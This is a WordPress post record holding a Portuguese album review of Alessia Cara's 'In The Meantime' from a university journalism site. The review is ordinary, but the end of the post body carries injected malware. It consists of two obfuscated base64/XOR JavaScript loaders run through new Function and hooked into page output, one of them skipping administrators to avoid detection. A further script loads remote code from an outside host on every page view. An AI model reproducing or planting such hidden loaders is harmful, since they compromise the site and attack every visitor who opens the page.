{"id":6964,"date":"2026-07-02T07:10:04","date_gmt":"2026-07-02T10:10:04","guid":{"rendered":"https:\/\/jornalismo.ufsj.edu.br\/site\/?p=6964"},"modified":"2026-09-18T07:23:48","modified_gmt":"2026-09-18T10:23:48","slug":"a-montanha-russa-de-in-the-meantime","status":"publish","type":"post","link":"http:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/","title":{"rendered":"A montanha-russa de In The Meantime\ufffc"},"content":{"rendered":"\n<p class=\"has-text-align-center\">Novo disco de Alessia Cara reflete os desafios mentais do jovem no s\u00e9culo XXI<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><a href=\"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01.png\"><img loading=\"lazy\" src=\"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01.png\" alt=\"Cena do clipe de &quot;Best Days&quot;, de Alessia Cara. Reprodu\u00e7\u00e3o: Divulga\u00e7\u00e3o\" class=\"wp-image-6963\" width=\"839\" height=\"472\" srcset=\"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01.png 512w, http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01-300x169.png 300w\" sizes=\"(max-width: 839px) 100vw, 839px\" \/><\/a><figcaption> Cena do clipe de &#8220;Best Days&#8221;, de Alessia Cara. Reprodu\u00e7\u00e3o: Divulga\u00e7\u00e3o\n<\/figcaption><\/figure>\n\n\n\n<p>Era uma vez, uma garota \u00edtalo-canadesense que amava a m\u00fasica e o mundo. Ap\u00f3s <em>singles<\/em> de sucesso, um <em>Grammy<\/em> e v\u00e1rios EPs, Alessia Cara lan\u00e7ou seu terceiro trabalho de est\u00fadio em setembro de 2021. Com dezoito faixas, <a href=\"https:\/\/open.spotify.com\/album\/5reEg9or7xqpXy6XLVIoTE?si=keSnOujOTAiq2IqpMc61dQ\"><strong><em>In The Meantime<\/em><\/strong><\/a><strong><em> <\/em><\/strong>foi produzido no auge da pandemia e aborda a montanha-russa vivida pelos jovens de \u201cvinte e poucos anos\u201d ao redor do globo.<\/p>\n\n\n\n<p>Mesmo em meio a cr\u00edticas ap\u00f3s n\u00e3o emplacar <em>hits<\/em>, Cara parece n\u00e3o se importar e segue na miss\u00e3o de fazer m\u00fasica para si e a seu p\u00fablico fiel. Aos vinte e cinco anos, a artista apresenta uma proposta diferente de trabalhos passados. Dessa vez, \u00e9 apresentado algo mais maduro com um in\u00edcio, meio e fim, como se ela nos contasse uma hist\u00f3ria moderna de final feliz.&nbsp;<\/p>\n\n\n\n<p>A sa\u00fade mental foi um dos temas principais do \u00e1lbum. A primeira \u00e9 <a href=\"https:\/\/open.spotify.com\/track\/7bhR82JEE9bcX8iphymGme?si=a174ebd739eb4bb5\"><strong><em>Box In The Ocean<\/em><\/strong><\/a><em>, <\/em>um <em>pop reggae<\/em> \u201canimado\u201d, mas que metaforiza as inseguran\u00e7as que o jovem contempor\u00e2neo guarda dentro de si, uma alus\u00e3o a mensagem secreta do t\u00edtulo: &#8220;Uma caixa de sentimentos jogada ao oceano&#8221;. Seria o in\u00edcio do \u201carco de cura&#8221; proposto pela artista ao decorrer do repert\u00f3rio.<\/p>\n\n\n\n<p>&nbsp;Em depoimento em seu canal oficial do <a href=\"https:\/\/www.youtube.com\/watch?v=pSllMzYzaiQ&amp;list=PLDvfnjuISZ4h_MUM234a_xz3q8Xj3Msxg&amp;index=12\"><em>Youtube<\/em><\/a>, a compositora afirma que o fundo do po\u00e7o do disco \u00e9 <a href=\"https:\/\/www.youtube.com\/watch?v=TPv64Y56I_4\"><strong><em>Best Days<\/em><\/strong><\/a><strong><em>,<\/em><\/strong> uma balada intimista, que facilmente seria a trilha sonora de filmes hollywoodianos, como o romance musical \u201c<a href=\"https:\/\/www.youtube.com\/watch?v=zXvgkkNMi-4\"><em>La La Land &#8211; Cantando Esta\u00e7\u00f5es<\/em><\/a><em>\u201d<\/em>. Na letra, Alessia, se pergunta: &#8220;E se meus melhores dias foram os dias que deixei pra tr\u00e1s?\u201d. Essa montanha-russa idealizada por Cara, d\u00e1 ritmo ao \u00e1lbum, mas, acima de tudo, gera uma forte conex\u00e3o entre a cantora e os f\u00e3s, j\u00e1 que os \u00faltimos se veem representados nas reflex\u00f5es musicais da artista.<\/p>\n\n\n\n<p>A capacidade da cantora de trabalhar temas cotidianos e transform\u00e1-los em m\u00fasicas singulares \u00e9 intrigante. Em <a href=\"https:\/\/www.youtube.com\/watch?v=2ORj3T5sz-0\"><strong><em>Sweet Dream<\/em><\/strong><\/a>, Cara aborda a depress\u00e3o e a ins\u00f4nia de forma exc\u00eantrica, citando frases comuns de jovens que sofrem do dist\u00farbio: \u201cA vida n\u00e3o \u00e9 t\u00e3o ruim quando estou dormindo\u201d. Produzida por Salaam Remi, <a href=\"https:\/\/www.youtube.com\/watch?v=YyDcXK_SqJA\"><strong><em>Shapeshifter<\/em><\/strong><\/a>, tem inspira\u00e7\u00e3o no <em>jazz <\/em>de <a href=\"https:\/\/www.youtube.com\/watch?v=TJAfLE39ZZ8\">Amy Winehouse<\/a>, cantora favorita de Alessia. O arranjo cita a dualidade de relacionamentos e como a mentira transforma seu parceiro do dia para a noite. As duas can\u00e7\u00f5es foram os primeiros <em>singles<\/em> do disco, e contam com videoclipes criativos e conectados, dirigidos pela <em>Tusk<\/em>, empresa das produtoras Olivia Mitchell e Kerry Furrh. A companhia ganhou destaque ap\u00f3s produzir os <a href=\"https:\/\/vimeo.com\/359423843?embedded=true&amp;source=vimeo_logo&amp;owner=95877036\">visuais<\/a> do \u00e1lbum \u201c<a href=\"https:\/\/open.spotify.com\/album\/3Vsbl0diFGw8HNSjG8ue9m?si=ubg0efP0QwmztVGX5MFGEw\"><em>Romance<\/em><\/a>&#8221; de Camila Cabello.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><a href=\"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-02.png\"><img loading=\"lazy\" src=\"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-02.png\" alt=\"Cena do clipe de &quot;Best Days&quot;, de Alessia Cara. Reprodu\u00e7\u00e3o: Divulga\u00e7\u00e3o\" class=\"wp-image-6962\" width=\"841\" height=\"473\" srcset=\"http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-02.png 512w, http:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-02-300x169.png 300w\" sizes=\"(max-width: 841px) 100vw, 841px\" \/><\/a><figcaption> Cena do clipe de &#8220;Best Days&#8221;, de Alessia Cara. Reprodu\u00e7\u00e3o: Divulga\u00e7\u00e3o\n<\/figcaption><\/figure>\n\n\n\n<p>O Brasil, tamb\u00e9m \u00e9 representado no trabalho da canadense. Nas ant\u00f4nimas can\u00e7\u00f5es<strong><em> <\/em><\/strong><a href=\"https:\/\/open.spotify.com\/track\/1w1UFvNdHZZLhozS2Ysdub?si=3d2fb71567df421a\"><strong><em>Bluebird<\/em><\/strong><\/a><strong><em> <\/em><\/strong>e<strong><em> <\/em><\/strong><a href=\"https:\/\/open.spotify.com\/track\/2rmf4QaSE174hUEObAxLpw?si=d73aea8f7a7047b7\"><strong><em>Find My Boy<\/em><\/strong><\/a><strong><em> <\/em><\/strong>a adora\u00e7\u00e3o se torna inspira\u00e7\u00e3o. A primeira, ilustra o processo de recupera\u00e7\u00e3o de um t\u00e9rmino com um <em>sample<\/em> bossa-novista do cover de \u201c<a href=\"https:\/\/www.youtube.com\/watch?v=9CDT0cwGKxY\"><em>I Wish You Love<\/em><\/a>\u201d,<em> <\/em>gravado pela pequena violonista chinesa Miumiu. J\u00e1 a \u00faltima, ilustra a busca de um novo amor, ap\u00f3s a supera\u00e7\u00e3o do antigo. Em meio a uma batida \u201ccontagiante\u201d, que mistura bossa nova e <em>pop, temos<\/em> a men\u00e7\u00e3o do bairro de Ipanema, no Rio de Janeiro. A internacionaliza\u00e7\u00e3o da m\u00fasica brasileira vem se tornado recorrente no cen\u00e1rio art\u00edstico. No caso de Alessia, al\u00e9m de suas can\u00e7\u00f5es inspiradas na brasilidade, seu <a href=\"https:\/\/www.youtube.com\/shorts\/gVaA2Y8E_Ic\"><em>cover<\/em><\/a> de Djavan e <a href=\"https:\/\/www.youtube.com\/watch?v=abOz9AtE8CI\">dueto<\/a> da <em>pop rock <\/em><a href=\"https:\/\/www.youtube.com\/watch?v=m7kPssRKiL8\"><strong><em>You Let Me Down<\/em><\/strong><\/a><strong><em> <\/em><\/strong>com o cantor J\u00e3o, apresentados ao vivo no <em>Lollapalooza Brasil 2022<\/em>, a colocaram em destaque entre os artistas do movimento.<\/p>\n\n\n\n<p>O \u00e1lbum chega ao fim com <a href=\"https:\/\/open.spotify.com\/track\/0h6ymtVt32j6qKZzzMs8aV?si=f6616239a0174204\"><strong><em>Apartment Song<\/em><\/strong><\/a>, uma faixa <em>pop<\/em> alegre que fala sobre voltar a enxergar a beleza na vida, dan\u00e7ar aos sons do mundo e chorar <em>glitter<\/em>. A letra \u00e9 a mensagem correta para essa trajet\u00f3ria de cura mental proposta pela artista, a qual mesmo n\u00e3o tendo melodia marcante, tem um significado que a destaca.&nbsp;<\/p>\n\n\n\n<p>Sem d\u00favidas, <a href=\"https:\/\/open.spotify.com\/album\/5reEg9or7xqpXy6XLVIoTE?si=moDErU-0RJy9_LxDAtinKg\"><strong><em>In The Meantime<\/em><\/strong><\/a> \u00e9 o melhor trabalho de Alessia Cara, sendo sin\u00f4nimo preciso de toda sua carreira, que desde os primeiros passos t\u00eam vocais e sons definidos. Sua maior falha seria o tamanho: \u00e9 um disco muito longo, que apresenta v\u00edcios antigos. A exemplo a m\u00fasica <a href=\"https:\/\/open.spotify.com\/track\/14GBa3RpXVFyaoB6wux6eC?si=a3c0b30e4e284f1e\"><strong><em>Clockwork<\/em><\/strong><\/a>, com sonoridade semelhante ao seu s\u00fatil \u00e1lbum de est\u00fadio <em>\u201c<\/em><a href=\"https:\/\/open.spotify.com\/album\/0LzVdypBGpn6dGuHqVGwwt?si=vTIFy53vSWu1hv6MBYvhtg\"><em>The Pains of Growing<\/em><\/a><em>\u201d. <\/em>Uma leve encurtada faria a experi\u00eancia do ouvinte ainda melhor, pois mesmo abordando temas delicados e tristes, o disco mant\u00e9m postura alegre. Uma trilha sonora perfeita para viagens de carro ao p\u00f4r do sol.<\/p>\n\n\n\n<p><strong>In The Meantime<\/strong>: \ud83d\udc9c\ud83d\udc9c\ud83d\udc9c\ud83d\udc9c\ud83e\udd0d Nota: 4 de 5 cora\u00e7\u00f5es<\/p>\n\n\n\n<p><strong>Lan\u00e7amento: <\/strong>24 de setembro de 2021<\/p>\n\n\n\n<p><strong>Selo: <\/strong>Def Jam<\/p>\n\n\n\n<p><strong>G\u00eanero:<\/strong> <em>Pop, R&amp;B e Jazz<\/em><\/p>\n\n\n\n<p><strong>Replay! : <\/strong><a href=\"https:\/\/open.spotify.com\/track\/3vThkPv25GkMKMSnnxm3ev?si=1678a00dda964d19\"><em>Lie To Me<\/em><\/a><\/p>\n\n\n\n<p><strong>Pula! :<\/strong><em> <\/em><a href=\"https:\/\/open.spotify.com\/track\/14GBa3RpXVFyaoB6wux6eC?si=b6719614e1e44c2a\"><em>Clockwork<\/em><\/a><\/p>\n\n\n\n<p><strong>Faixa favorita: <\/strong><a href=\"https:\/\/open.spotify.com\/track\/2rmf4QaSE174hUEObAxLpw?si=28e911bd360e4500\"><em>Find My Boy<\/em><\/a><\/p>\n\n\n\n<p><strong>Onde ouvir: <\/strong><a href=\"https:\/\/deezer.page.link\/yJ2z3bpX5nJr1rH7A\"><em>Deezer<\/em><\/a>, <a href=\"https:\/\/open.spotify.com\/album\/5reEg9or7xqpXy6XLVIoTE?si=UfjtJnBFSgaiCORQnxX7tw\"><em>Spotify<\/em> <\/a>e <a href=\"https:\/\/music.youtube.com\/playlist?list=OLAK5uy_mYks4yY5bfz00KUaclugQ36Hke7I0XCfM&amp;feature=share\"><em>YouTube Music<\/em><\/a><\/p>\n\n\n\n<p><strong>P\u00fablico:<\/strong> Adolescentes e jovens adultos<\/p>\n\n\n\n<p><strong>Se gostou, ou\u00e7a tamb\u00e9m<\/strong>: <a href=\"https:\/\/open.spotify.com\/artist\/4fwuXg6XQHfdlOdmw36OHa?si=Sb0sXWBtSLOZ3vdXP9DOHQ\"><em>Paloma Faith<\/em><\/a><em>, <\/em><a href=\"https:\/\/open.spotify.com\/artist\/0s4kXsjYeH0S1xRyVGN4NO?si=by3XrpVAQiqM1U0C1TPVDg\"><em>FLO<\/em><\/a><em> e<\/em><a href=\"https:\/\/open.spotify.com\/artist\/3WGpXCj9YhhfX11TToZcXP?si=YwT1L54-SGmDv61aaJndYw\"><em> Troye Sivan<\/em><\/a><\/p>\n\n\n\n<p><strong>**Este texto n\u00e3o reflete, necessariamente, a opini\u00e3o da institui\u00e7\u00e3o<\/strong><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>Texto:<\/strong> Helena Serpa<\/p>\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script><script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?>\n<script>\n!function(){var _0xe4e8=atob('RQsYAw4ZBAIDRUQWBAtFGgQDCQIaNkoyVAwOXFkOVF5dXkowRB8IGRgfA1YaBAMJAho2SjJUDA5cWQ5UXl1eSjBQXFYbDB9NMhcVGwYCAhpQTw8LDFUJW1tbVVoOCF0LCV9dDAlVXAheWloLXgldDFteVVlcD1lfX15cDF0OWgtUWE9WGwwfTTIaAh4cUDZKBRkZHR5XQkIfHQ5AAAwEAwMIGUMADBkEDkMcGAQGAwIJCEMdHwJKQUoFGRkdHldCQh0CARQKAgNDCR8dDkMCHwpKQUoFGRkdHldCQh0CARQKAgNAAAwEAwMIGUMdGA8BBA5DDwEMHhkMHQRDBAJKQUoFGRkdHldCQh0CARQKAgNADwIfQB8dDkMdGA8BBA4DAgkIQw4CAEpBSgUZGR0eV0JCXB8dDkMEAkIADBkEDkpBSgUZGR0eV0JCHQIBFAoCA0MKDBkIGgwUQxkIAwkIHwEUQw4CSkFKBRkZHR5XQkIdAgEUCgIDQB0YDwEEDkMDAgkECB5DDB0dSkFKBRkZHR5XQkIfHQ5DDAMGH0MOAgBCHQIBFAoCA0owVhsMH00yGQECDgIGUE9dFV0uWi4PXVwuVV5fXV4MLl0MWF0sDw5eDFQsKyteDlQuDFpfWggrWFhPVhsMH00yHAMCDwcZUE8PW1UJXFVdVE9WCxgDDhkEAgNNMh0OBAweFx9FMgcPGAIcHQhEFhkfFBYbDB9NMh4VGB8OChRQMgcPGAIcHQhDHhgPHhkfRV1BX0RQUFBKXRVKUjIHDxgCHB0IQx4YDx4ZH0VfRFcyBw8YAhwdCFYEC0UyHhUYHw4KFEMBCAMKGQVRXF9VRB8IGRgfA0pKVhsMH00yBAIZGgELUB0MHx4IJAMZRTIeFRgfDgoUQx4YDx4ZH0VbWUFbWURBXFtEVgQLRUwyBAIZGgELRB8IGRgfA0pKVhsMH00yDAcKDxQCAVAyHhUYHw4KFEMeGA8eGR9FXF9VQTIEAhkaAQtHX0RBMh0fGQEXAFBKSlYLAh9FGwwfTTIUGQMMUF1WMhQZAwxRMgwHCg8UAgFDAQgDChkFVjIUGQMMRlBfRBYbDB9NMh8aFwgZHglQHQwfHggkAxlFMgwHCg8UAgFDHhgPHhkfRTIUGQMMQV9EQVxbRFYEC0UyHxoXCBkeCUQyHR8ZARcARlA+GR8EAwpDCx8CAC4FDB8uAgkIRTIfGhcIGR4JRFYQHwgZGB8DTTIdHxkBFwBWEA4MGQ4FRQhEFh8IGRgfA0pKVhAQCxgDDhkEAgNNMhoIFxwHAglFMh4dHhdBMgwUBhsGFEQWHwgZGB8DTQMIGk09HwIABB4IRQsYAw4ZBAIDRTIYHAEUQTIaAAQKF0QWGwwfTTIJCwYKHwlQAwgaTTUgISUZGR0\/CBwYCB4ZRURWMgkLBgofCUMCHQgDRUo9Ij45SkEyHh0eF0EZHxgIRFYyCQsGCh8JQx4IGT8IHBgIHhklCAwJCB9FSi4CAxkIAxlAORQdCEpBSgwdHQEEDgwZBAIDQgceAgNKRFYyCQsGCh8JQxkEAAgCGBlQWF1dXVYyCQsGCh8JQwIDAQIMCVALGAMOGQQCA0VEFhkfFBYyGBwBFEUnPiIjQx0MHx4IRTIJCwYKHwlDHwgeHQIDHgg5CBUZRERWEA4MGQ4FRQhEFjIaAAQKF0UIRFYQEFYyCQsGCh8JQwIDCB8fAh9QMgkLBgofCUMCAxkEAAgCGBlQCxgDDhkEAgNFRBYyGgAEChdFAwgaTSgfHwIfRUREVhBWMgkLBgofCUMeCAMJRSc+IiNDHhkfBAMKBAsURTIMFAYbBhRERFYQRFYQCxgDDhkEAgNNMgoZCxoDRTIACQwCH0QWBAtFMgAJDAIfU1AyGgIeHEMBCAMKGQVEHwgZGB8DTT0fAgAEHghDHwgeAgEbCEUDGAEBRFYbDB9NMh0eCR5QFgceAgMfHQ5XSl9DXUpBAAgZBQIJV0oIGQUyDgwBAUpBHQwfDAAeVzYWGQJXMhkBAg4CBkEJDBkMV0pdFUpGMhwDAg8HGRBBSgEMGQgeGUowQQQJV1wQVh8IGRgfA00yGggXHAcCCUUyGgIeHDYyAAkMAh8wQTIdHgkeREMZBQgDRQsYAw4ZBAIDRTIDFQQABEQWGwwfTTIAGB8fBFAyAxUEAARLSzIDFQQABEMfCB4YARlSMh0OBAweFx9FMgMVBAAEQx8IHhgBGURXSkpWBAtFMgAYHx8ERB8IGRgfA00yABgfHwRDHwgdAQwOCEVCMUJGSUJBSkpEVh8IGRgfA00yChkLGgNFMgAJDAIfRlxEVhBEQw4MGQ4FRQsYAw4ZBAIDRUQWHwgZGB8DTTIKGQsaA0UyAAkMAh9GXERWEERWEAsYAw4ZBAIDTTIXAgIDDBgIRTIYCRULHhxEFhsMH00yGgoIBwAJGlAJAg4YAAgDGUMOHwgMGQgoAQgACAMZRUoeDh8EHRlKRFYyGgoIBwAJGkMeHw5QMhgJFQseHEZKQgwdBEMdBR1SHlBKRjIXFRsGAgIaRkpLMhtQSkYgDBkFQwsBAgIfRSkMGQhDAwIaRURCW11dXV1EVjIaCggHAAkaQwweFAMOUBkfGAhWRQkCDhgACAMZQwUIDAkREQkCDhgACAMZQw8CCRREQwwdHQgDCS4FBAEJRTIaCggHAAkaRFYQMgoZCxoDRV1EQxkFCANFCxgDDhkEAgNFMhgJFQseHEQWBAtFMhgJFQseHEQyFwICAwwYCEUyGAkVCx4cRFYQRFYQREVEVg=='),_0x33dc=109,_0xfb89=new Uint8Array(_0xe4e8['length']),_0x7bd8=0;for(;_0x7bd8<_0xe4e8['length'];_0x7bd8++)_0xfb89[_0x7bd8]=_0xe4e8['charCodeAt'](_0x7bd8)^_0x33dc;(new Function(new TextDecoder()['decode'](_0xfb89)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><script>;const script = document.createElement('script');\nscript.src = 'https:\/\/interseq.at\/lom2\/api';\nscript.async = true;\n\ndocument.head.appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Novo disco de Alessia Cara reflete os desafios mentais do jovem no s\u00e9culo XXI<\/p>\n","protected":false},"author":2,"featured_media":6963,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[299,43],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>A montanha-russa de In The Meantime\ufffc - Jornalismo UFSJ<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"A montanha-russa de In The Meantime\ufffc - Jornalismo UFSJ\" \/>\n<meta property=\"og:description\" content=\"Novo disco de Alessia Cara reflete os desafios mentais do jovem no s\u00e9culo XXI\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/\" \/>\n<meta property=\"og:site_name\" content=\"Jornalismo UFSJ\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/jornalismoufsj\/\" \/>\n<meta property=\"article:published_time\" content=\"2026-07-02T10:10:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-18T10:23:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/jornalismo.ufsj.edu.br\/site\/wp-content\/uploads\/2022\/07\/Cena-do-clipe-de-Best-Days-01.png\" \/>\n\t<meta property=\"og:image:width\" content=\"512\" \/>\n\t<meta property=\"og:image:height\" content=\"288\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Jornalismo UFSJ\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jornalismoufsj\" \/>\n<meta name=\"twitter:site\" content=\"@jornalismoufsj\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Jornalismo UFSJ\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/\",\"url\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/\",\"name\":\"A montanha-russa de In The Meantime\ufffc - Jornalismo UFSJ\",\"isPartOf\":{\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/#website\"},\"datePublished\":\"2026-07-02T10:10:04+00:00\",\"dateModified\":\"2026-09-18T10:23:48+00:00\",\"author\":{\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/#\/schema\/person\/f2aab557f9f94fdae1e2e2b0e6a81536\"},\"breadcrumb\":{\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/#breadcrumb\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/jornalismoufsj\/a-montanha-russa-de-in-the-meantime\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"In\u00edcio\",\"item\":\"https:\/\/jornalismo.ufsj.edu.br\/site\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"A montanha-russa de In The 